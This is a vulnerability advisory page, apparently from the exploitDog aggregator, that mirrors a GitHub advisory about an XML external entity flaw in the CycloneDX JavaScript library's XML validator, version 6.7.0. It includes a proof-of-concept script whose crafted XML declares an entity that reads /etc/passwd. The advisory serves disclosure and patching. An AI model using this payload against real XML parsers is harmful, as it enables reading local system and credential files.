Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-38gf-rh2w-gmj7

Опубликовано: 08 мая 2024
Источник: github
Github: Прошло ревью
CVSS3: 8.1

Описание

@cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability

Impact

XML External entity injections could be possible, when running the provided XML Validator on arbitrary input.

POC

const { Spec: { Version }, Validation: { XmlValidator } } = require('@cyclonedx/cyclonedx-library'); const version = Version.v1dot5; const validator = new XmlValidator(version); const input = `<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE poc [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <bom xmlns="http://cyclonedx.org/schema/bom/1.5"> <components> <component type="library"> <name>testing</name> <version>1.337</version> <licenses> <license> <id>&xxe;</id><!-- << XML external entity (XXE) injection --> </license> </licenses> </component> </components> </bom>`; // validating this forged(^) input might lead to unintended behaviour // for the fact that the XML external entity would be taken into account. validator.validate(input).then(ve => { console.error('validation error', ve); });

Patches

This issue was fixed in @cyclonedx/cyclonedx-library@6.7.1 .

Workarounds

Do not run the provided XML validator on untrusted inputs.

References

Пакеты

Наименование

@cyclonedx/cyclonedx-library

npm
Затронутые версииВерсия исправления

= 6.7.0

6.7.1

EPSS

Процентиль: 24%
0.00079
Низкий

8.1 High

CVSS3

Дефекты

CWE-611

Связанные уязвимости

CVSS3: 8.1
nvd
больше 1 года назад

The CycloneDX JavaScript library contains the core functionality of OWASP CycloneDX for JavaScript. In 6.7.0, XML External entity injections were possible, when running the provided XML Validator on arbitrary input. This issue was fixed in version 6.7.1.

EPSS

Процентиль: 24%
0.00079
Низкий

8.1 High

CVSS3

Дефекты

CWE-611